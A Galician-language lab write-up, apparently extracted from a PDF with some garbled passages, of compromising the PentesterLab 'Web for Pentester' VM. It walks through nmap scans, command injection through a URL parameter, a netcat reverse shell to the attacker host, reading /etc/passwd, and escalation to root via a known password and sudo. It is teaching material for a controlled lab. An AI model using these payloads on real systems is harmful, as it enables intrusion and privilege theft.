

INFORME TÉCNICO: WALKTHROUGH REVERSE SHELL

Exercicio: Web for Pentester

	PentesterLab.com Home			
	Web For Pentester This exercise is a set of the most common web vulnerabilities			
	XSS - Example 1 - Example 2 - Example 3 - Example 3 - Example 5 - Example 5 - Example 7 - Example 7 - Example 9	SQL injections - Example 2 - Example 3 - Example 3 - Example 5 - Example 5 - Example 5 - Example 6 - Example 7 - Example 7	Directory traversal	
	Example 3 File Include Example 1 Example 2	Example 3 Code injection Example 1 Example 2 Example 3 Example 4	Commands injection • Example 1 • Example 2 • Example 3	
	LDAP attacks • Example 1 • Example 2 © PentesterLab 2013	File Upload • Example 1 • Example 2	XML attacks • Example 1 • Example 2	
http://192.168.120	Commands injection	Example1 http://192.168.1	20.100/commandexec/example1.php?i 2.168.120.101 4444 \$ nc -lnvp 44	p=127.0.0.1;whereis nc reverse shell
No cliente verse shell activa	→ tratamento tty →	<pre>\$ script /dev/null -c bash Ctrl+Z stty raw -echo;fg reset xterm export TERM=xterm export SHELL=bash stty rows 34 columns 80</pre>	\$ whoami www-data Escalada de privilexion \$ ls \$ ls -la \$ s mour \$ root \$ s \$ s	-la /home /home/user 2/user/.su-to-root nt grep live su - user live wudo su -
	LIN	IITACIÓN DE RESPON		

O autor do presente documento declina calquera responsabilidade asociada ao uso incorrecto e/ou malicioso que puidese realizarse coa información exposta no mesmo. Por tanto, non se fai responsable en ningún caso, nin pode ser considerado legalmente responsable en ningún caso, das consecuencias que poidan derivarse da información contida nel ou que esté enlazada dende ou hacia el, incluíndo os posibles erros e información incorrecta existentes, información difamatoria, así como das consecuencias que se poidan derivar sobre a súa aplicación en sistemas de información reais e/ou virtuais. Este documento foi xerado para uso didáctico e debe ser empregado en contornas privadas e virtuais controladas co permiso correspondente do administrador desas contornas.

De Interese

 \bullet Informe xerado con ${\rm I\!AT}_{\rm E}\!{\rm X}$

http:/

- $\bullet\,$ Informe baseado no vídeo de S4
vitar: Cómo crear un reporte profesional en LaTeX
- https://github.com/ricardofc/repoEDU-CCbySA/tree/main/SI/Pentester/



Índice

1.	Escenario	2
2.	Obxectivos 2.1. Fluxo de traballo	3 3
3.	Análisis de vulnerabilidades 3.1. Recoñemento inicial 3.2. Enumeración servidor web 3.2.1. whatweb	$ \begin{array}{c} 4 \\ 4 \\ 5 \\ 5 \end{array} $
4.	Explotación de vulnerabilidades 4.1. Acceso ao sistema 4.2. Reverse shell	7 7 7
5.	Escalada de privilexios 5.1. Movemento lateral: usuario user	9 9 9
Aı	nexos A. URLs de Interese	10 10



1. Escenario

- Plataforma **PentesterLab**.
- Prerrequisito: Ter realizada a práctica [4] Practica-SI-PentesterLab
- Exercicio Web for Pentester



Figura 1: Web for Pentester: This exercise is a set of the most common web vulnerabilities.

Dirección URL https://pentesterlab.com/exercises/web_for_pentester/course





2. Obxectivos

- Auditar o servidor Web for Pentester
- Enumerar posibles vectores de explotación
- Determinar alcance e impacto dun ataque sobre o sistema en produción.

2.1. Fluxo de traballo



Figura 2: Fluxo de traballo



3. Análisis de vulnerabilidades

3.1. Recoñemento inicial

- Comprobación de conectividade e detección de sistema operativo:
 - TTL $\simeq 64 \Rightarrow GNU/Linux$
 - TTL $\simeq 128 \Rightarrow$ Microsoft Windows

└─\$ ping -c1 192.168.120.100 -R				
PING 192.168.120.100 (192.168.120.100) 56(124) bytes of data.				
64 bytes from 192.168.120.100: icmp seg=1 ttl=64 time=0.510 ms				
RR: 192.168.120.101				
192.168.120.100				
192.168.120.100				
192.168.120.101				
- 192.168.120.100 ping statistics -				
1 packets transmitted, 1 received, 0% packet loss, time 0ms				
rtt min/avg/max/mdev = $0.510/0.510/0.510/0.000$ ms				

Figura 3: Recoñecemento inicial sobre o sistema obxectivo

- \blacksquare Escaneo/detección de portos abertos mediante
 ${\bf nmap}$
- 1 \$ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.120.100

Código 1: nmap: Portos TCP open

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slowe Starting Nmap 7.92 (https://nmap.org) at 2023-01-18 20:47 UTC Initiating ARP Ping Scan at 20:47 Scanning 192.168.120.100 [1 port] Completed ARP Ping Scan at 20:47, 0.06s elapsed (1 total hosts) Initiating SYN Stealth Scan at 20:47 Scanning 192.168.120.100 [65535 ports] Discovered open port 80/tcp on 192.168.120.100 Discovered open port 22/tcp on 192.168.120.100 Completed SYN Stealth Scan at 20:47, 3.85s elapsed (65535 total ports) Nmap scan report for 192.168.120.100 Host is up, received arp-response (0.00021s latency). Scanned at 2023-01-18 20:47:51 UTC for 4s Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64 389/tcp open ldap syn-ack ttl 64
MAC Address: 08:00:27:68:4E:9A (Oracle VirtualBox virtual NIC)
Read data files from: /usr/bin//share/nmap Nmap done: 1 IP address (1 host up) scanned in 4.07 seconds Raw packets sent: 65536 (2.884MB) Rcvd: 65536 (2.621MB)

Figura 4: Recoñecemento con nmap





- Detección de servizos e versións sobre os portos sobre os cales foi posible explotar o sistema:
- 1 \$ sudo nmap -p22,80,389 -sCV -vvv -n 192.168.120.100

Código 2: nmap scripting sobre servizos e versións

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 5.5p1 Debian 6+squeeze3 (protocol 2.0)
ssh-hostkey:
1024 72:6f:b2:fd:dd:fe:64:b3:4d:39:c6:d5:87:72:ce:d9 (DSA)
<pre>sh-dss AAAAB3NzaC1kc3MAAACBALBWKvcL3w+DsV20Mp+Ik2+ZsAKbiz0MFaZvTYZfNGh56sgH9zgWbMbfKcKdwXQQ8uAkxzSg</pre>
L9FWCsPxJt2nAF0hhiEsotVzFDz7EGIØeoXFB1utlp0W5r/Wbb3iabg8uE9cXRALWJA/gRSMuE6k3E+n/3z94jvwcgAtxNGFWxr7AA
AAFODoKA0AwhR73XVF27w70xSt42z8A0AAATBxN+1eHJpJzwKcGdPIKxCMoN5X70IAbzF5mapNdwDbItnWwNw7kfJPHwgA7bser22r
v4XPmuuDxSZnuroSalE1Y6dmei4MPbzUw1asCPKhSfYvt0I0D1THihui1WzWxEpZvrKZNkØoAsz19KStZØØGi2ØzYZRviS21EkAG6V
ca+0444TE4ku515Zpe8dqNTd21ptKDDbDCBYiK1C1HLebbTCuaat4bimswy6/Xw/NDwmV9EkR82b35wxC4fodTIfSfyTbBTp7Zgr6c
f12SM00vDrinEDSSc20lip32svr330201b51ch6lM6v12mta7MH4K3iDnwt5dmavvvnkmad763/61l0/-
1_SSIF1Sd AAAAADSNZ4CIYCZEAAAAAAAAAAAAAAAUTJJODUNOSTIYYYUCDICTIJNATASaCGTYQgZJFNZTAUAQEQQYGAITIOUHTWDC34
91XK511204C LEQUWS2KM2WX LGOUSCW51V0B9MIQD2KE1DCJMKHD4TM1KVDPC2K1EE0D/L965HIGO/DFSKM2UEVC8LHQ+FCBV50018
BennsuryseyaPXyusnwgKniyBJmLAdy9Nubaraza+/maktD9XSBCyaly/cDABDNeySrrideWv41/vacdgke/2tlGLkidkFekWkSdjc
LODPPNIZVg/16J49DeXt0Fg/2BF534+8LXT0S0DISX8NIA0JKAU/XANV1+KKTPJWU/514YK2STU/
80/tcp open http syn-ack ttl 64 Apache httpd 2.2.16 ((Debian))
_http-title: PentesterLab » Web for Pentester
_http-favicon: Unknown favicon MD5: 967B30E5E95445E29B882CC82774AC96
http-methods:
Supported Methods: GET HEAD POST OPTIONS
http-server-header: Apache/2.2.16 (Debian)
389/tcp open ldap syn-ack ttl 64 OpenLDAP 2.2.X - 2.3.X
MAC Address: 08:00:27:68:4E:9A (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux: CPF: cpe:/o:linux.linux.kernel
Service into, 65 Einax, erer eper/ortinax.tinax_kernet

Figura 5: Numeración de servizos e versións

3.2. Enumeración servidor web

Porto
80

3.2.1. whatweb

Empregando a ferramenta what web buscamos información sobre que tecnoloxías está a empregar a máquina Web for Pentester:

```
whatweb http://192.168.120.100
http://192.168.120.100 [200 OK] Apache[2.2.16], Bootstrap, Country[RESERVED][ZZ], Email[louis@penteste
rlab.com], HTML5, HTTPServer[Debian Linux][Apache/2.2.16 (Debian)], IP[192.168.120.100], Meta-Author[L
ouis Nyffenegger (louis@pentesterlab.com)], PHP[5.3.3-7+squeeze15], Script, Title[PentesterLab & fraquo;
Web for Pentester], X-Powered-By[PHP/5.3.3-7+squeeze15], X-XSS-Protection[0]
```

Figura 6: whatweb http://192.168.120.100





Accedendo co navegador atopamos unha interface na cal podemos probar un conxunto das vulnerabilidades web máis comúns (Revisar [4])

Imos a centrarnos no **Example1** do tipo de vulnerabilidades **Commands injection**:

PentesterLab.com Home		
This exercise is a set of the most of Follow @PeritesterLab	Pentester common web vulnerabilities	
XSS	SQL injections	Directory traversal
Example 1 Example 2 Example 3 Example 4 Example 5 Example 6 Example 7 Example 8 Example 9	Example 1 Example 2 Example 3 Example 4 Example 5 Example 6 Example 8 Example 8 Example 8	Example 1: Example 2: Example 3:
File Include	Code injection	Commands injection
Example 1 Example 2	Example 1 Example 2 Example 3 Example 4	Example 1 Example 2 Example 3
LDAP attacks	File Upload	XML attacks
Example 1 Example 2 © PentesterLab 2013	Example 1 Example 2	Example 1 Example 2

Figura 7: Web for Pentesting: $\ensuremath{\operatorname{http://192.168.120.100}}$



4. Explotación de vulnerabilidades

4.1. Acceso ao sistema

Entón, imos probar como podemos executar un comando non esperado ao abrir a ligazón de **Example1 (Commands injection)**. Así, modificamos a URL como segue:

```
http://192.168.120.100/commandexec/example1.php?ip=127.0.0.1;whoami
```

Código 3: Execución do comando whoami empregando un caracter ; logo da URL orixinal

De tal forma que conseguimos executar o comando **whoami** no servidor Web, obtendo como saída o valor: **www-data**. Deste xeito, o usuario co que estamos a executar comandos a través da URL é o usuario **www-data** (Pois sendo o servidor Web Apache o usuario e grupo por defecto son: **www-data**, **www-data** [Ver [5]]). Entón, imos intentar conseguir unha *reverse shell*. Para iso realizaremos o seguinte procedemento:

- (1) Comprobar se existe o comando netcat (nc) no host do servidor Web.
- (2) Se existe, abrir no equipo cliente (atacante) un porto a través do comando netcat (nc) para esperar unha reverse shell.
- (3) Executar a través da URL un comando *netcat* (*nc*) que se comunique co host cliente (atacante) enviándolle a reverse shell.
- (4) Obtendo a reverse shell no host cliente (atacante) facer un tratamento da tty (Ver [10] para poder traballar con esta consola de forma análoga a se fose unha consola local, é dicir, poder empregar atallos de teclado como Ctrl+C e non perder a conexión, poder empregar Ctrl+L para limpar a pantalla, ter o mesmo número de liñas e columnas na shell inversa que nunha consola local, etc.

4.2. Reverse shell

```
1 http://192.168.120.100/commandexec/example1.php?ip=127.0.0.1;whereis nc
```

Código 4: Comprobar se existe o comando netcat (nc) no host do servidor Web

```
1 $ nc -lnvp 4444
```

```
2 listening on [any] 4444 ...
```

Código 5: No host cliente (atacante): Abrir no equipo cliente o porto TCP 4444 a través do comando netcat (nc) para esperar unha reverse shell

1 http://192.168.120.100/commandexec/example1.php?ip=127.0.0.1;nc -e /bin/sh 192.168.120.101 4444

Código 6: Executar a través da URL un comando net
cat que se comunique co host cliente (atacante) enviándolle a reverse s
hell

```
1 $
2 script /dev/null -c bash
3 Ctrl+Z
4 stty raw -echo;fg
5 reset
6 xterm
7 export TERM=xterm
8 export SHELL=bash
```

Código 7: No host cliente (atacante): Facer un tratamento da tty na reverse shell obtida







1 **\$ stty -a**

Código 8: No host cliente (atacante): Abrir unha nova consola e averiguar o tamaño (filas e columnas) da tty



1 \$ stty rows 34 columns 80

Código 9: No host cliente (atacante): Pór o número de liñas e columnas da t
ty na shell inversa cos mesmos valores que unha shell local do host do atacante



De Interese

https://s4vitar.github.io/oscp-preparacion/#pentesting-linux



Creative Commons Attribution-ShareAlike 4.0 International License



5. Escalada de privilexios

5.1. Movemento lateral: usuario user

Agora na shell inversa estamos conectado co usuario **www-data**. Imos ver se somos quen de acceder con outro usuario do sistema e de aí ver se somos quen de escalar privilexios para chegar a conseguir ser o usuario **root**:

```
$ whoami
1
 www-data
2
3 $ cat /etc/passwd
4 $ ls -la /home
5 $ ls -la /home/user
6 $ cat /home/user/.su-to-root
7 $ mount | grep live
                                  Código 10: Outros usuarios existentes no sistema
1 $ su - user
2 Password: live
3 user$ whoami
4 user
                                         Código 11: Acceso co usuario user
1
2 user$ sudo su -
 #
3
                                      Código 12: Escalada de privilexios: sudo
```

5.2. Usuario root

1 **# whoami**

2 root 3 #

Código 13: Usuario root





Anexos

A. URLs de Interese

Ligazóns
PentesterLab [1] https://pentesterlab.com
[2] Exercise: Web for Pentester
repoEDU-CCbySA
[3] https://github.com/ricardofc/repoEDU-CCbySA
[4] Practica-SI-PentesterLab
[5] Practica-SI-Apache
S4vitar
[6] https://www.twitch.tv/s4vitaar
[7] https://htbmachines.github.io
[8] https://youtube.com/s4vitar
[9] https://www.youtube.com/channel/UCgzsRmCl4BU-QmSVC4jFOlg
[10] https://s4vitar.github.io/oscp-preparacion/#pentesting-linux
HackTricks
$[11] \ https://book.hacktricks.xyz/welcome/readme$
[12] https://github.com/carlospolop
PayloadsAllTheThings
[15] https://grunu.com/swisskyrepo/rayloausAnrnernings

